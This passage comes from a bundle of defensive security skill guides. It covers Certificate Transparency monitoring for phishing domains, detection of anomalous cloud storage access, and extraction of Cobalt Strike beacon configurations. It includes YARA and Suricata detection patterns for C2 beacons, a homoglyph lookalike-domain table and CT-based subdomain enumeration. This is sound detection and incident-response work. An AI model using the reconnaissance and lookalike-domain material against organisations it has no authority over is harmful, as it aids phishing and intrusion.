Check for exact domain matches (legitimate)\n            extracted = tldextract.extract(common_name)\n            cert_domain = f\"{extracted.domain}.{extracted.suffix}\"\n            if cert_domain == domain:\n                continue  # Legitimate certificate\n\n            # Flag suspicious patterns\n            flags = []\n            if domain.replace(\".\", \"\") in common_name.replace(\".\", \"\"):\n                flags.append(\"contains target domain string\")\n            if any(kw in common_name for kw in self.brand_keywords):\n                flags.append(\"contains brand keyword\")\n            if \"let's encrypt\" in issuer.lower():\n                flags.append(\"free CA (Let's Encrypt)\")\n\n            if flags:\n                suspicious.append({\n                    \"common_name\": cert.get(\"common_name\", \"\"),\n                    \"name_value\": cert.get(\"name_value\", \"\"),\n                    \"issuer\": issuer,\n                    \"not_before\": not_before,\n                    \"not_after\": not_after,\n                    \"serial\": cert.get(\"serial_number\", \"\"),\n                    \"flags\": flags,\n                    \"crt_sh_id\": cert.get(\"id\", \"\"),\n                    \"crt_sh_url\": f\"https://crt.sh/?id={cert.get('id', '')}\",\n                })\n\n        print(f\"[+] Found {len(suspicious)} suspicious certificates\")\n        return suspicious\n\nmonitor = CTLogMonitor(\n    monitored_domains=[\"mycompany.com\", \"mycompany.org\"],\n    brand_keywords=[\"mycompany\", \"mybrand\", \"myproduct\"],\n)\nsuspicious = monitor.find_suspicious_certs(\"mycompany.com\")\nfor cert in suspicious[:5]:\n    print(f\"  [{cert['common_name']}] Flags: {cert['flags']}\")\n```\n\n### Step 2: Real-Time Monitoring with Certstream\n\n```python\nimport certstream\nimport Levenshtein\nimport re\nfrom datetime import datetime\n\nclass CertstreamMonitor:\n    def __init__(self, watched_domains, brand_keywords, similarity_threshold=0.8):\n        self.watched_domains = [d.lower() for d in watched_domains]\n        self.brand_keywords = [k.lower() for k in brand_keywords]\n        self.threshold = similarity_threshold\n        self.alerts = []\n\n    def start_monitoring(self, max_alerts=100):\n        \"\"\"Start real-time CT log monitoring.\"\"\"\n        print(\"[*] Starting Certstream monitoring...\")\n        print(f\"    Watching: {self.watched_domains}\")\n        print(f\"    Keywords: {self.brand_keywords}\")\n\n        def callback(message, context):\n            if message[\"message_type\"] == \"certificate_update\":\n                data = message[\"data\"]\n                leaf = data.get(\"leaf_cert\", {})\n                all_domains = leaf.get(\"all_domains\", [])\n\n                for domain in all_domains:\n                    domain_lower = domain.lower().strip(\"*.\")\n                    if self._is_suspicious(domain_lower):\n                        alert = {\n                            \"domain\": domain,\n                            \"all_domains\": all_domains,\n                            \"issuer\": leaf.get(\"issuer\", {}).get(\"O\", \"\"),\n                            \"fingerprint\": leaf.get(\"fingerprint\", \"\"),\n                            \"not_before\": leaf.get(\"not_before\", \"\"),\n                            \"detected_at\": datetime.now().isoformat(),\n                            \"reason\": self._get_reason(domain_lower),\n                        }\n                        self.alerts.append(alert)\n                        print(f\"  [ALERT] {domain} - {alert['reason']}\")\n\n                        if len(self.alerts) >= max_alerts:\n                            raise KeyboardInterrupt\n\n        try:\n            certstream.listen_for_events(callback, url=\"wss://certstream.calidog.io/\")\n        except KeyboardInterrupt:\n            print(f\"\\n[+] Monitoring stopped. {len(self.alerts)} alerts collected.\")\n        return self.alerts\n\n    def _is_suspicious(self, domain):\n        \"\"\"Check if domain is suspicious relative to watched domains.\"\"\"\n        for watched in self.watched_domains:\n            # Exact keyword match\n            watched_base = watched.split(\".\")[0]\n            if watched_base in domain and domain != watched:\n                return True\n\n            # Levenshtein distance (typosquatting detection)\n            domain_base = tldextract.extract(domain).domain\n            similarity = Levenshtein.ratio(watched_base, domain_base)\n            if similarity >= self.threshold and domain_base != watched_base:\n                return True\n\n        # Brand keyword match\n        for keyword in self.brand_keywords:\n            if keyword in domain:\n                return True\n\n        return False\n\n    def _get_reason(self, domain):\n        \"\"\"Determine why domain was flagged.\"\"\"\n        reasons = []\n        for watched in self.watched_domains:\n            watched_base = watched.split(\".\")[0]\n            if watched_base in domain:\n                reasons.append(f\"contains '{watched_base}'\")\n            domain_base = tldextract.extract(domain).domain\n            similarity = Levenshtein.ratio(watched_base, domain_base)\n            if similarity >= self.threshold and domain_base != watched_base:\n                reasons.append(f\"similar to '{watched}' ({similarity:.0%})\")\n        for kw in self.brand_keywords:\n            if kw in domain:\n                reasons.append(f\"brand keyword '{kw}'\")\n        return \"; \".join(reasons) if reasons else \"unknown\"\n\ncs_monitor = CertstreamMonitor(\n    watched_domains=[\"mycompany.com\"],\n    brand_keywords=[\"mycompany\", \"mybrand\"],\n    similarity_threshold=0.75,\n)\nalerts = cs_monitor.start_monitoring(max_alerts=50)\n```\n\n### Step 3: Enumerate Subdomains from CT Logs\n\n```python\ndef enumerate_subdomains_ct(domain):\n    \"\"\"Discover all subdomains from Certificate Transparency logs.\"\"\"\n    params = {\"q\": f\"%.{domain}\", \"output\": \"json\"}\n    resp = requests.get(\"https://crt.sh\", params=params, timeout=30)\n\n    if resp.status_code != 200:\n        return []\n\n    certs = resp.json()\n    subdomains = set()\n    for cert in certs:\n        name_value = cert.get(\"name_value\", \"\")\n        for name in name_value.split(\"\\n\"):\n            name = name.strip().lower()\n            if name.endswith(f\".{domain}\") or name == domain:\n                name = name.lstrip(\"*.\")\n                subdomains.add(name)\n\n    sorted_subs = sorted(subdomains)\n    print(f\"[+] CT subdomain enumeration for {domain}: {len(sorted_subs)} subdomains\")\n    return sorted_subs\n\nsubdomains = enumerate_subdomains_ct(\"example.com\")\nfor sub in subdomains[:20]:\n    print(f\"  {sub}\")\n```\n\n### Step 4: Generate CT Intelligence Report\n\n```python\ndef generate_ct_report(suspicious_certs, certstream_alerts, domain):\n    report = f\"\"\"# Certificate Transparency Intelligence Report\n## Target Domain: {domain}\n## Generated: {datetime.now().isoformat()}\n\n## Summary\n- Suspicious certificates found: {len(suspicious_certs)}\n- Real-time alerts triggered: {len(certstream_alerts)}\n\n## Suspicious Certificates (crt.sh)\n| Common Name | Issuer | Flags | crt.sh Link |\n|------------|--------|-------|-------------|\n\"\"\"\n    for cert in suspicious_certs[:20]:\n        flags = \"; \".join(cert.get(\"flags\", []))\n        report += (f\"| {cert['common_name']} | {cert['issuer'][:30]} \"\n                   f\"| {flags} | [View]({cert['crt_sh_url']}) |\\n\")\n\n    report += f\"\"\"\n## Real-Time Certstream Alerts\n| Domain | Issuer | Reason | Detected |\n|--------|--------|--------|----------|\n\"\"\"\n    for alert in certstream_alerts[:20]:\n        report += (f\"| {alert['domain']} | {alert['issuer']} \"\n                   f\"| {alert['reason']} | {alert['detected_at'][:19]} |\\n\")\n\n    report += \"\"\"\n## Recommendations\n1. Add flagged domains to DNS sinkhole / web proxy blocklist\n2. Submit takedown requests for confirmed phishing domains\n3. Monitor CT logs continuously for new certificate registrations\n4. Implement CAA DNS records to restrict certificate issuance for your domains\n5. Deploy DMARC to prevent email spoofing from lookalike domains\n\"\"\"\n    with open(f\"ct_report_{domain.replace('.','_')}.md\", \"w\") as f:\n        f.write(report)\n    print(f\"[+] CT report saved\")\n    return report\n\ngenerate_ct_report(suspicious, alerts if 'alerts' in dir() else [], \"mycompany.com\")\n```\n\n## Validation Criteria\n\n- crt.sh queries return certificate data for target domains\n- Suspicious certificates identified based on lookalike patterns\n- Certstream real-time monitoring detects new phishing certificates\n- Subdomain enumeration produces comprehensive list from CT logs\n- Alerts generated with reason classification\n- CT intelligence report created with actionable recommendations\n\n## References\n\n- [crt.sh Certificate Search](https://crt.sh/)\n- [Certstream Real-Time CT Monitor](https://certstream.calidog.io/)\n- [River Security: CT Logs for Attack Surface Discovery](https://riversecurity.eu/finding-attack-surface-and-fraudulent-domains-via-certificate-transparency-logs/)\n- [Let's Encrypt: Certificate Transparency Logs](https://letsencrypt.org/docs/ct-logs/)\n- [SSLMate Cert Spotter](https://sslmate.com/certspotter/)\n- [CyberSierra: CT Logs as Early Warning System](https://cybersierra.co/blog/ssl-certificate-transparency-logs/)\n","skills/analyzing-certificate-transparency-for-phishing/references/api-reference.md":"# API Reference: Certificate Transparency Phishing Detection\n\n## crt.sh API\n\n### Search Certificates\n```bash\n# JSON output\ncurl \"https://crt.sh/?q=%.example.com&output=json\"\n\n# Exclude expired\ncurl \"https://crt.sh/?q=%.example.com&output=json&exclude=expired\"\n\n# Exact match\ncurl \"https://crt.sh/?q=example.com&output=json\"\n```\n\n### Response Fields\n| Field | Description |\n|-------|-------------|\n| `id` | Certificate ID in crt.sh database |\n| `common_name` | Certificate CN |\n| `name_value` | All SANs (newline-separated) |\n| `issuer_name` | Certificate Authority |\n| `not_before` | Validity start |\n| `not_after` | Validity end |\n| `serial_number` | Certificate serial |\n\n## Certstream - Real-time CT Monitoring\n\n### Python Client\n```python\nimport certstream\n\ndef callback(message, context):\n    if message[\"message_type\"] == \"certificate_update\":\n        data = message[\"data\"]\n        domains = data[\"leaf_cert\"][\"all_domains\"]\n        for domain in domains:\n            if \"example\" in domain:\n                print(f\"[ALERT] {domain}\")\n\ncertstream.listen_for_events(callback, url=\"wss://certstream.calidog.io/\")\n```\n\n### Message Fields\n| Field | Path |\n|-------|------|\n| Domains | `data.leaf_cert.all_domains` |\n| Issuer | `data.leaf_cert.issuer.O` |\n| Subject | `data.leaf_cert.subject.CN` |\n| Fingerprint | `data.leaf_cert.fingerprint` |\n| Source | `data.source.name` |\n\n## CT Log Servers\n\n| Log | Operator | URL |\n|-----|----------|-----|\n| Argon | Google | `ct.googleapis.com/logs/argon2024` |\n| Xenon | Google | `ct.googleapis.com/logs/xenon2024` |\n| Nimbus | Cloudflare | `ct.cloudflare.com/logs/nimbus2024` |\n| Oak | Let's Encrypt | `oak.ct.letsencrypt.org/2024h1` |\n| Yeti | DigiCert | `yeti2024.ct.digicert.com/log` |\n\n## Phishing Detection Techniques\n\n### Homoglyph / IDN Attacks\n| Original | Lookalike | Technique |\n|----------|-----------|-----------|\n| example.com | examp1e.com | Character substitution (l→1) |\n| google.com | gооgle.com | Cyrillic о (U+043E) |\n| paypal.com | paypa1.com | l→1 substitution |\n| microsoft.com | mіcrosoft.com | Cyrillic і (U+0456) |\n\n### dnstwist Integration\n```bash\ndnstwist -r -f json example.com   # Generate and resolve permutations\ndnstwist -w wordlist.txt example.com  # Dictionary-based\n```\n\n## Certificate Details Lookup\n```bash\n# Get full certificate from crt.sh\ncurl \"https://crt.sh/?d=<cert_id>\"\n\n# OpenSSL inspection\nopenssl s_client -connect domain.com:443 -servername domain.com </dev/null 2>/dev/null | \\\n  openssl x509 -noout -text\n```\n\n## Suspicious Indicators\n| Pattern | Risk Level |\n|---------|-----------|\n| Free CA + new domain + brand keyword | HIGH |\n| Wildcard cert on recently registered domain | HIGH |\n| Multiple certs for slight domain variants | MEDIUM |\n| IDN/punycode domain mimicking brand | HIGH |\n| Cert issued same day as domain registration | MEDIUM |\n","skills/analyzing-cloud-storage-access-patterns/SKILL.md":"---\nname: analyzing-cloud-storage-access-patterns\ndescription: Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.\ndomain: cybersecurity\nsubdomain: cloud-security\ntags:\n- cloud-security\n- aws-s3\n- gcs\n- azure-blob-storage\n- cloudtrail\n- data-access-anomaly\n- exfiltration-detection\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\natlas_techniques:\n- AML.T0024\n- AML.T0056\nnist_ai_rmf:\n- MEASURE-2.7\n- MAP-5.1\n- MANAGE-2.4\nnist_csf:\n- PR.IR-01\n- ID.AM-08\n- GV.SC-06\n- DE.CM-01\nmitre_attack:\n- T1530\n- T1567.002\n- T1619\n- T1078.004\n- T1048\n---\n\n\n# Analyzing Cloud Storage Access Patterns\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing cloud storage access patterns\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Familiarity with cloud security concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Instructions\n\n1. Install dependencies: `pip install boto3 requests`\n2. Query CloudTrail for S3 Data Events using AWS CLI or boto3.\n3. Build access baselines: hourly request volume, per-user object counts, source IP history.\n4. Detect anomalies:\n   - After-hours access (outside 8am-6pm local time)\n   - Bulk downloads: >100 GetObject calls from single principal in 1 hour\n   - New source IPs not seen in the prior 30 days\n   - ListBucket enumeration spikes (reconnaissance indicator)\n5. Generate prioritized findings report.\n\n```bash\npython scripts/agent.py --bucket my-sensitive-data --hours-back 24 --output s3_access_report.json\n```\n\n## Examples\n\n### CloudTrail S3 Data Event\n```json\n{\"eventName\": \"GetObject\", \"requestParameters\": {\"bucketName\": \"sensitive-data\", \"key\": \"financials/q4.xlsx\"},\n \"sourceIPAddress\": \"203.0.113.50\", \"userIdentity\": {\"arn\": \"arn:aws:iam::123456789012:user/analyst\"}}\n```\n","skills/analyzing-cloud-storage-access-patterns/references/api-reference.md":"# API Reference: Cloud Storage Access Pattern Analysis\n\n## AWS CLI - CloudTrail Lookup\n```bash\naws cloudtrail lookup-events \\\n  --lookup-attributes AttributeKey=ResourceType,AttributeValue=AWS::S3::Object \\\n  --start-time 2024-01-15T00:00:00Z \\\n  --output json\n```\n\n## CloudTrail S3 Data Event Structure\n```json\n{\n  \"EventTime\": \"2024-01-15T10:30:00Z\",\n  \"EventName\": \"GetObject\",\n  \"Username\": \"analyst\",\n  \"CloudTrailEvent\": \"{\\\"sourceIPAddress\\\":\\\"10.0.0.1\\\",\\\"userAgent\\\":\\\"aws-cli\\\",\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"data\\\",\\\"key\\\":\\\"file.csv\\\"},\\\"userIdentity\\\":{\\\"arn\\\":\\\"arn:aws:iam::123:user/analyst\\\"}}\"\n}\n```\n\n## Key S3 Event Names\n| Event | Meaning |\n|-------|---------|\n| GetObject | Object download |\n| PutObject | Object upload |\n| DeleteObject | Object deletion |\n| ListBucket / ListObjectsV2 | Bucket enumeration |\n| GetBucketPolicy | Policy read |\n| PutBucketPolicy | Policy modification |\n\n## Detection Thresholds\n| Anomaly | Threshold | Severity |\n|---------|-----------|----------|\n| Bulk download | >100 GetObject/hr per user | Critical |\n| After-hours | Access outside 08:00-18:00 UTC | Medium |\n| New source IP | IP not in 30-day baseline | High |\n| Enumeration | >20 ListBucket per user | High |\n\n## boto3 CloudTrail Client (alternative)\n```python\nimport boto3\nclient = boto3.client(\"cloudtrail\")\nresponse = client.lookup_events(\n    LookupAttributes=[{\"AttributeKey\":\"ResourceType\",\"AttributeValue\":\"AWS::S3::Object\"}],\n    StartTime=datetime(2024,1,15),\n    MaxResults=50\n)\nevents = response[\"Events\"]\n```\n","skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md":"---\nname: analyzing-cobalt-strike-beacon-configuration\ndescription: Extract and analyze Cobalt Strike beacon configuration from PE files\n  and memory dumps to identify C2 infrastructure, malleable profiles, and operator\n  tradecraft.\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- cobalt-strike\n- beacon\n- c2\n- malware-analysis\n- config-extraction\n- threat-hunting\n- red-team-tools\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1071.001\n- T1573.001\n- T1090.004\n- T1105\n- T1027\n---\n# Analyzing Cobalt Strike Beacon Configuration\n\n## Overview\n\nCobalt Strike is a commercial adversary simulation tool widely abused by threat actors for post-exploitation operations. Beacon payloads contain embedded configuration data that reveals C2 server addresses, communication protocols, sleep intervals, jitter values, malleable C2 profile settings, watermark identifiers, and encryption keys. Extracting this configuration from PE files, shellcode, or memory dumps is critical for incident responders to map attacker infrastructure and attribute campaigns. The beacon configuration is XOR-encoded using a single byte (0x69 for version 3, 0x2e for version 4) and stored in a Type-Length-Value (TLV) format within the .data section.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing cobalt strike beacon configuration\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `dissect.cobaltstrike`, `pefile`, `yara-python`\n- SentinelOne CobaltStrikeParser (`parse_beacon_config.py`)\n- Hex editor (010 Editor, HxD) for manual inspection\n- Understanding of PE file format and XOR encoding\n- Memory dump acquisition tools (Volatility3, WinDbg)\n- Network analysis tools (Wireshark) for C2 traffic correlation\n\n## Key Concepts\n\n### Beacon Configuration Structure\n\nCobalt Strike beacons store their configuration as a blob of TLV (Type-Length-Value) entries within the .data section of the PE. Stageless beacons XOR the entire beacon code with a 4-byte key. The configuration blob itself uses a single-byte XOR key. Each TLV entry contains a 2-byte type identifier (e.g., 0x0001 for BeaconType, 0x0008 for C2Server), a 2-byte length, and variable-length data.\n\n### Malleable C2 Profiles\n\nThe beacon configuration encodes the malleable C2 profile that dictates HTTP request/response transformations, including URI paths, headers, metadata encoding (Base64, NetBIOS), and data transforms. Analyzing these settings reveals how the beacon disguises its traffic to blend with legitimate web traffic.\n\n### Watermark and License Identification\n\nEach Cobalt Strike license embeds a unique watermark (4-byte integer) into generated beacons. Extracting the watermark can link multiple beacons to the same operator or cracked license. Known watermark databases maintained by threat intelligence providers map watermarks to specific threat actors or leaked license keys.\n\n## Workflow\n\n### Step 1: Extract Configuration with CobaltStrikeParser\n\n```python\n#!/usr/bin/env python3\n\"\"\"Extract Cobalt Strike beacon config from PE or memory dump.\"\"\"\nimport sys\nimport json\n\n# Using SentinelOne's CobaltStrikeParser\n# pip install dissect.cobaltstrike\nfrom dissect.cobaltstrike.beacon import BeaconConfig\n\ndef extract_beacon_config(filepath):\n    \"\"\"Parse beacon configuration from file.\"\"\"\n    configs = list(BeaconConfig.from_path(filepath))\n\n    if not configs:\n        print(f\"[-] No beacon configuration found in {filepath}\")\n        return None\n\n    for i, config in enumerate(configs):\n        print(f\"\\n[+] Beacon Configuration #{i+1}\")\n        print(f\"{'='*60}\")\n\n        settings = config.as_dict()\n\n        # Critical fields for incident response\n        critical_fields = [\n            \"SETTING_C2_REQUEST\",\n            \"SETTING_C2_RECOVER\",\n            \"SETTING_PUBKEY\",\n            \"SETTING_DOMAINS\",\n            \"SETTING_BEACONTYPE\",\n            \"SETTING_PORT\",\n            \"SETTING_SLEEPTIME\",\n            \"SETTING_JITTER\",\n            \"SETTING_MAXGET\",\n            \"SETTING_SPAWNTO_X86\",\n            \"SETTING_SPAWNTO_X64\",\n            \"SETTING_PIPENAME\",\n            \"SETTING_WATERMARK\",\n            \"SETTING_C2_VERB_GET\",\n            \"SETTING_C2_VERB_POST\",\n            \"SETTING_USERAGENT\",\n            \"SETTING_PROTOCOL\",\n        ]\n\n        for field in critical_fields:\n            value = settings.get(field, \"N/A\")\n            print(f\"  {field}: {value}\")\n\n        return settings\n\n    return None\n\n\ndef extract_c2_indicators(config):\n    \"\"\"Extract actionable C2 indicators from beacon config.\"\"\"\n    indicators = {\n        \"c2_domains\": [],\n        \"c2_ips\": [],\n        \"c2_urls\": [],\n        \"user_agent\": \"\",\n        \"named_pipes\": [],\n        \"spawn_processes\": [],\n        \"watermark\": \"\",\n    }\n\n    if not config:\n        return indicators\n\n    # Extract C2 domains\n    domains = config.get(\"SETTING_DOMAINS\", \"\")\n    if domains:\n        for domain in str(domains).split(\",\"):\n            domain = domain.strip().rstrip(\"/\")\n            if domain:\n                indicators[\"c2_domains\"].append(domain)\n\n    # Extract user agent\n    indicators[\"user_agent\"] = str(config.get(\"SETTING_USERAGENT\", \"\"))\n\n    # Extract named pipes\n    pipe = config.get(\"SETTING_PIPENAME\", \"\")\n    if pipe:\n        indicators[\"named_pipes\"].append(str(pipe))\n\n    # Extract spawn-to processes\n    for arch in [\"SETTING_SPAWNTO_X86\", \"SETTING_SPAWNTO_X64\"]:\n        proc = config.get(arch, \"\")\n        if proc:\n            indicators[\"spawn_processes\"].append(str(proc))\n\n    # Extract watermark\n    indicators[\"watermark\"] = str(config.get(\"SETTING_WATERMARK\", \"\"))\n\n    return indicators\n\n\nif __name__ == \"__main__\":\n    if len(sys.argv) < 2:\n        print(f\"Usage: {sys.argv[0]} <beacon_file_or_dump>\")\n        sys.exit(1)\n\n    config = extract_beacon_config(sys.argv[1])\n    if config:\n        indicators = extract_c2_indicators(config)\n        print(f\"\\n[+] Extracted C2 Indicators:\")\n        print(json.dumps(indicators, indent=2))\n```\n\n### Step 2: Manual XOR Decryption of Beacon Config\n\n```python\nimport struct\n\ndef find_and_decrypt_config(data):\n    \"\"\"Manually locate and decrypt beacon configuration.\"\"\"\n    # Cobalt Strike 4.x uses 0x2e as XOR key\n    xor_keys = [0x2e, 0x69]  # v4, v3\n\n    for xor_key in xor_keys:\n        # Search for the config magic bytes after XOR\n        # Config starts with 0x0001 (BeaconType) XOR'd with key\n        magic = bytes([0x00 ^ xor_key, 0x01 ^ xor_key,\n                       0x00 ^ xor_key, 0x02 ^ xor_key])\n\n        offset = data.find(magic)\n        if offset == -1:\n            continue\n\n        print(f\"[+] Found config at offset 0x{offset:x} (XOR key: 0x{xor_key:02x})\")\n\n        # Decrypt the config blob (typically 4096 bytes)\n        config_size = 4096\n        encrypted = data[offset:offset + config_size]\n        decrypted = bytes([b ^ xor_key for b in encrypted])\n\n        # Parse TLV entries\n        entries = parse_tlv(decrypted)\n        return entries\n\n    return None\n\n\ndef parse_tlv(data):\n    \"\"\"Parse Type-Length-Value configuration entries.\"\"\"\n    entries = {}\n    offset = 0\n\n    # TLV field type mapping\n    field_names = {\n        0x0001: \"BeaconType\",\n        0x0002: \"Port\",\n        0x0003: \"SleepTime\",\n        0x0004: \"MaxGetSize\",\n        0x0005: \"Jitter\",\n        0x0006: \"MaxDNS\",\n        0x0007: \"Deprecated_PublicKey\",\n        0x0008: \"C2Server\",\n        0x0009: \"UserAgent\",\n        0x000a: \"PostURI\",\n        0x000b: \"Malleable_C2_Instructions\",\n        0x000c: \"Deprecated_HttpGet_Metadata\",\n        0x000d: \"SpawnTo_x86\",\n        0x000e: \"SpawnTo_x64\",\n        0x000f: \"CryptoScheme\",\n        0x001a: \"Watermark\",\n        0x001d: \"C2_HostHeader\",\n        0x0024: \"PipeName\",\n        0x0025: \"Year\",\n        0x0026: \"Month\",\n        0x0027: \"Day\",\n        0x0036: \"ProxyHostname\",\n    }\n\n    while offset + 6 <= len(data):\n        entry_type = struct.unpack(\">H\", data[offset:offset+2])[0]\n        entry_len_type = struct.unpack(\">H\", data[offset+2:offset+4])[0]\n        entry_len = struct.unpack(\">H\", data[offset+4:offset+6])[0]\n\n        if entry_type == 0:\n            break\n\n        value_start = offset + 6\n        value_end = value_start + entry_len\n        value_data = data[value_start:value_end]\n\n        field_name = field_names.get(entry_type, f\"Unknown_0x{entry_type:04x}\")\n\n        if entry_len_type == 1:  # Short\n            value = struct.unpack(\">H\", value_data[:2])[0]\n        elif entry_len_type == 2:  # Int\n            value = struct.unpack(\">I\", value_data[:4])[0]\n        elif entry_len_type == 3:  # String/Blob\n            value = value_data.rstrip(b'\\x00').decode('utf-8', errors='replace')\n        else:\n            value = value_data.hex()\n\n        entries[field_name] = value\n        print(f\"  {field_name}: {value}\")\n\n        offset = value_end\n\n    return entries\n```\n\n### Step 3: YARA Rule for Beacon Detection\n\n```python\nimport yara\n\ncobalt_strike_rule = \"\"\"\nrule CobaltStrike_Beacon_Config {\n    meta:\n        description = \"Detects Cobalt Strike beacon configuration\"\n        author = \"Malware Analysis Team\"\n        date = \"2025-01-01\"\n\n    strings:\n        // XOR'd config marker for CS 4.x (key 0x2e)\n        $config_v4 = { 2e 2f 2e 2c }\n\n        // XOR'd config marker for CS 3.x (key 0x69)\n        $config_v3 = { 69 68 69 6b }\n\n        // Common beacon strings\n        $str_pipe = \"\\\\\\\\.\\\\pipe\\\\\" ascii wide\n        $str_beacon = \"beacon\" ascii nocase\n        $str_sleeptime = \"sleeptime\" ascii nocase\n\n        // Reflective loader pattern\n        $reflective = { 4D 5A 41 52 55 48 89 E5 }\n\n    condition:\n        ($config_v4 or $config_v3) or\n        (2 of ($str_*) and $reflective)\n}\n\"\"\"\n\ndef scan_for_beacons(filepath):\n    \"\"\"Scan file with YARA rules for Cobalt Strike beacons.\"\"\"\n    rules = yara.compile(source=cobalt_strike_rule)\n    matches = rules.match(filepath)\n\n    for match in matches:\n        print(f\"[+] YARA Match: {match.rule}\")\n        for string_match in match.strings:\n            offset = string_match.instances[0].offset\n            print(f\"    String: {string_match.identifier} at offset 0x{offset:x}\")\n\n    return matches\n```\n\n### Step 4: Network Traffic Correlation\n\n```python\nfrom dissect.cobaltstrike.c2 import HttpC2Config\n\ndef analyze_c2_profile(beacon_config):\n    \"\"\"Analyze malleable C2 profile from beacon configuration.\"\"\"\n    print(\"\\n[+] Malleable C2 Profile Analysis\")\n    print(\"=\" * 60)\n\n    # HTTP GET configuration\n    get_verb = beacon_config.get(\"SETTING_C2_VERB_GET\", \"GET\")\n    get_uri = beacon_config.get(\"SETTING_C2_REQUEST\", \"\")\n    print(f\"\\n  HTTP GET Request:\")\n    print(f\"    Verb: {get_verb}\")\n    print(f\"    URI: {get_uri}\")\n\n    # HTTP POST configuration\n    post_verb = beacon_config.get(\"SETTING_C2_VERB_POST\", \"POST\")\n    post_uri = beacon_config.get(\"SETTING_C2_POSTREQ\", \"\")\n    print(f\"\\n  HTTP POST Request:\")\n    print(f\"    Verb: {post_verb}\")\n    print(f\"    URI: {post_uri}\")\n\n    # User Agent\n    ua = beacon_config.get(\"SETTING_USERAGENT\", \"\")\n    print(f\"\\n  User-Agent: {ua}\")\n\n    # Host header\n    host = beacon_config.get(\"SETTING_C2_HOSTHEADER\", \"\")\n    print(f\"  Host Header: {host}\")\n\n    # Sleep and jitter for traffic pattern\n    sleep_ms = beacon_config.get(\"SETTING_SLEEPTIME\", 60000)\n    jitter = beacon_config.get(\"SETTING_JITTER\", 0)\n    print(f\"\\n  Sleep Time: {sleep_ms}ms\")\n    print(f\"  Jitter: {jitter}%\")\n\n    # Generate Suricata/Snort signatures\n    print(f\"\\n[+] Suggested Network Signatures:\")\n    if ua:\n        print(f'  alert http any any -> any any (msg:\"CS Beacon UA\"; '\n              f'content:\"{ua}\"; http_user_agent; sid:1000001; rev:1;)')\n    if get_uri:\n        print(f'  alert http any any -> any any (msg:\"CS Beacon URI\"; '\n              f'content:\"{get_uri}\"; http_uri; sid:1000002; rev:1;)')\n```\n\n## Validation Criteria\n\n- Beacon configuration successfully extracted from PE file or memory dump\n- C2 server domains/IPs correctly identified with port and protocol\n- Malleable C2 profile parameters decoded showing HTTP transforms\n- Watermark value extracted for attribution correlation\n- Sleep time and jitter values match observed network beacon intervals\n- YARA rules detect beacon in both packed and unpacked samples\n- Network signatures generated from extracted C2 profile\n\n## References\n\n- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)\n- [dissect.cobaltstrike Library](https://github.com/fox-it/dissect.cobaltstrike)\n- [SentinelLabs Beacon Configuration Analysis](https://www.sentinelone.com/labs/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/)\n- [Cobalt Strike Staging and Config Extraction](https://blog.securehat.co.uk/cobaltstrike/extracting-config-from-cobaltstrike-stager-shellcode)\n- [MITRE ATT&CK - Cobalt Strike S0154](https://attack.mitre.org/software/S0154/)\n","skills/analyzing-cobalt-strike-beacon-configuration/assets/template.md":"# Cobalt Strike Beacon Analysis Report Template\n\n## Report Metadata\n| Field | Value |\n|-------|-------|\n| Report ID | CS-BEACON-YYYY-NNNN |\n| Date | YYYY-MM-DD |\n| Sample Hash (SHA-256) | |\n| Classification | TLP:AMBER |\n| Analyst | |\n\n## Beacon Configuration Summary\n\n| Setting | Value |\n|---------|-------|\n| Beacon Type | HTTP / HTTPS / SMB / DNS |\n| C2 Server(s) | |\n| Port | |\n| Sleep Time | ms |\n| Jitter | % |\n| User-Agent | |\n| Watermark | |\n| SpawnTo (x86) | |\n| SpawnTo (x64) | |\n| Named Pipe | |\n| Host Header | |\n| Crypto Scheme | |\n\n## C2 Infrastructure\n\n| Indicator | Type | Value | Context |\n|-----------|------|-------|---------|\n| C2 Domain | domain | | Primary callback |\n| C2 IP | ip | | Resolved address |\n| URI Path (GET) | uri | | Beacon check-in |\n| URI Path (POST) | uri | | Data exfiltration |\n\n## Malleable C2 Profile\n\n### HTTP GET Configuration\n| Parameter | Value |\n|-----------|-------|\n| URI | |\n| Verb | |\n| Headers | |\n| Metadata Encoding | |\n\n### HTTP POST Configuration\n| Parameter | Value |\n|-----------|-------|\n| URI | |\n| Verb | |\n| ID Encoding | |\n| Output Encoding | |\n\n## Watermark Attribution\n\n| Watermark | Known Association | Confidence |\n|-----------|------------------|------------|\n| | Cracked / Licensed / Threat Actor | High/Med/Low |\n\n## Network Detection Signatures\n\n```\n# Suricata signature for beacon C2 traffic\nalert http $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"Cobalt Strike Beacon C2 Communication\";\n    content:\"[USER_AGENT]\"; http_user_agent;\n    content:\"[URI_PATH]\"; http_uri;\n    sid:1000001; rev:1;\n)\n```\n\n## YARA Detection Rule\n\n```yara\nrule CobaltStrike_Beacon_[CAMPAIGN] {\n    meta:\n        description = \"Detects Cobalt Strike beacon from [CAMPAIGN]\"\n        hash = \"[SHA256]\"\n    strings:\n        $c2 = \"[C2_DOMAIN]\" ascii\n        $pipe = \"[NAMED_PIPE]\" ascii\n        $ua = \"[USER_AGENT]\" ascii\n    condition:\n        2 of them\n}\n```\n\n## Recommendations\n\n1. **Block**: Add C2 domains/IPs to firewall deny lists\n2. 